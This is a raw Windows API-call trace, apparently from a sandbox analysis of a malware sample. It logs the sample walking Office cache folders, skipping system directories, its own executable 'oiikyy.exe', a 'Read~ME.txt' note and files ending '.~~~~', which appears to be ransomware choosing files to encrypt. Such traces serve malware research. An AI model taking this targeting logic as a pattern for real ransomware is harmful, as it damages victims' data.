	[0063.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x39fe10
	[0063.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0063.942] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0063.942] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0063.942] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0063.942] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0063.943] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0063.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.943] GetCurrentThreadId () returned 0x618
	[0063.943] GetCurrentThreadId () returned 0x618
	[0063.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0063.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0063.943] RtlWakeConditionVariable () returned 0x1
	[0063.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.943] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.943] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0063.943] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0063.943] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0063.943] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0063.943] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0063.943] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0063.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.943] GetCurrentThreadId () returned 0x618
	[0063.943] GetCurrentThreadId () returned 0x618
	[0063.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ed00
	[0063.943] RtlWakeConditionVariable () returned 0x1
	[0063.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.944] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1
	[0063.944] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="Windows") returned -1
	[0063.944] lstrcmpW (lpString1="PublisherMUI.msi", lpString2="oiikyy.exe") returned 1
	[0063.944] StrStrW (lpFirst="PublisherMUI.msi", lpSrch=".~~~~") returned 0x0
	[0063.944] lstrcmpW (lpString1="PublisherMUI.msi", lpString2="Read~ME.txt") returned -1
	[0063.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e528
	[0063.944] GetCurrentThreadId () returned 0x618
	[0063.944] GetCurrentThreadId () returned 0x618
	[0063.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0063.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5e0
	[0063.944] RtlWakeConditionVariable () returned 0x365f48
	[0063.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.944] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0063.944] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="Windows") returned -1
	[0063.944] lstrcmpW (lpString1="PublisherMUI.xml", lpString2="oiikyy.exe") returned 1
	[0063.944] StrStrW (lpFirst="PublisherMUI.xml", lpSrch=".~~~~") returned 0x0
	[0063.944] lstrcmpW (lpString1="PublisherMUI.xml", lpString2="Read~ME.txt") returned -1
	[0063.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e528
	[0063.944] GetCurrentThreadId () returned 0x618
	[0063.944] GetCurrentThreadId () returned 0x618
	[0063.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0063.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e698
	[0063.944] RtlWakeConditionVariable () returned 0x365f48
	[0063.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.945] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1
	[0063.945] lstrcmpiW (lpString1="PubLR.cab", lpString2="Windows") returned -1
	[0063.945] lstrcmpW (lpString1="PubLR.cab", lpString2="oiikyy.exe") returned 1
	[0063.945] StrStrW (lpFirst="PubLR.cab", lpSrch=".~~~~") returned 0x0
	[0063.945] lstrcmpW (lpString1="PubLR.cab", lpString2="Read~ME.txt") returned -1
	[0063.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.945] GetCurrentThreadId () returned 0x618
	[0063.945] GetCurrentThreadId () returned 0x618
	[0063.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca08
	[0063.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0063.945] RtlWakeConditionVariable () returned 0x365f48
	[0063.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.945] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0063.945] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0063.945] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0063.945] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0063.945] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0063.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.945] GetCurrentThreadId () returned 0x618
	[0063.945] GetCurrentThreadId () returned 0x618
	[0063.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c9d0
	[0063.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0063.945] RtlWakeConditionVariable () returned 0x365f48
	[0063.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.946] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0063.946] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0063.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.947] GetCurrentThreadId () returned 0x618
	[0063.947] GetCurrentThreadId () returned 0x618
	[0063.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c998
	[0063.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0063.947] RtlWakeConditionVariable () returned 0x365f48
	[0063.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe10 | out: hHeap=0x300000) returned 1
	[0063.949] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1
	[0063.949] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0063.949] lstrcmpW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0063.949] lstrcmpW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0063.949] lstrcmpW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0063.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0063.949] lstrlenW (lpString="C:\\Windows") returned 10
	[0063.949] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0063.949] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0063.949] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0063.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0063.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0063.984] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0063.984] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0063.984] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0063.984] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0063.984] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0063.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.984] GetCurrentThreadId () returned 0x618
	[0063.984] GetCurrentThreadId () returned 0x618
	[0063.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0063.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0063.985] RtlWakeConditionVariable () returned 0x365f48
	[0063.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.985] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.985] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0063.985] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0063.985] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0063.985] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0063.985] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0063.985] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0063.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.985] GetCurrentThreadId () returned 0x618
	[0063.985] GetCurrentThreadId () returned 0x618
	[0063.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0063.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e938
	[0063.986] RtlWakeConditionVariable () returned 0x365f48
	[0063.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.986] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1
	[0063.986] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="Windows") returned -1
	[0063.986] lstrcmpW (lpString1="OutlkLR.cab", lpString2="oiikyy.exe") returned 1
	[0063.986] StrStrW (lpFirst="OutlkLR.cab", lpSrch=".~~~~") returned 0x0
	[0063.986] lstrcmpW (lpString1="OutlkLR.cab", lpString2="Read~ME.txt") returned -1
	[0063.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.986] GetCurrentThreadId () returned 0x618
	[0063.986] GetCurrentThreadId () returned 0x618
	[0063.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6928
	[0063.986] RtlWakeConditionVariable () returned 0x365f48
	[0063.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.986] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1
	[0063.986] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="Windows") returned -1
	[0063.986] lstrcmpW (lpString1="OutlookMUI.msi", lpString2="oiikyy.exe") returned 1
	[0063.986] StrStrW (lpFirst="OutlookMUI.msi", lpSrch=".~~~~") returned 0x0
	[0063.986] lstrcmpW (lpString1="OutlookMUI.msi", lpString2="Read~ME.txt") returned -1
	[0063.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e9d0
	[0063.986] GetCurrentThreadId () returned 0x618
	[0063.987] GetCurrentThreadId () returned 0x618
	[0063.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0063.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fa528
	[0063.987] RtlWakeConditionVariable () returned 0x365f48
	[0063.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e9d0 | out: hHeap=0x300000) returned 1
	[0063.987] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0063.987] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="Windows") returned -1
	[0063.987] lstrcmpW (lpString1="OutlookMUI.xml", lpString2="oiikyy.exe") returned 1
	[0063.987] StrStrW (lpFirst="OutlookMUI.xml", lpSrch=".~~~~") returned 0x0
	[0063.987] lstrcmpW (lpString1="OutlookMUI.xml", lpString2="Read~ME.txt") returned -1
	[0063.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e9d0
	[0063.987] GetCurrentThreadId () returned 0x618
	[0063.987] GetCurrentThreadId () returned 0x618
	[0063.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c960
	[0063.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fa5e0
	[0063.987] RtlWakeConditionVariable () returned 0x365f48
	[0063.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e9d0 | out: hHeap=0x300000) returned 1
	[0063.987] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0063.987] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0063.987] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0063.987] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0063.987] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0063.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.988] GetCurrentThreadId () returned 0x618
	[0063.988] GetCurrentThreadId () returned 0x618
	[0063.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0063.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e69d0
	[0063.988] RtlWakeConditionVariable () returned 0x365f48
	[0063.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.988] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0063.988] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0063.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.989] GetCurrentThreadId () returned 0x618
	[0063.989] GetCurrentThreadId () returned 0x618
	[0063.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0063.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6a78
	[0063.989] RtlWakeConditionVariable () returned 0x365f48
	[0063.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0063.990] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1
	[0063.990] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0063.990] lstrcmpW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0063.990] lstrcmpW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0063.990] lstrcmpW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0063.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0063.990] lstrlenW (lpString="C:\\Windows") returned 10
	[0063.990] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0063.991] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0063.991] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0063.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0063.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0063.997] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0063.997] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0063.997] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0063.997] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0063.997] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0063.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.997] GetCurrentThreadId () returned 0x618
	[0063.997] GetCurrentThreadId () returned 0x618
	[0063.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0063.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e9d0
	[0063.997] RtlWakeConditionVariable () returned 0x365f48
	[0063.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.997] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.998] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0063.998] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0063.998] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0063.998] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0063.998] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0063.998] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0063.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.998] GetCurrentThreadId () returned 0x618
	[0063.998] GetCurrentThreadId () returned 0x618
	[0063.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0063.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ea68
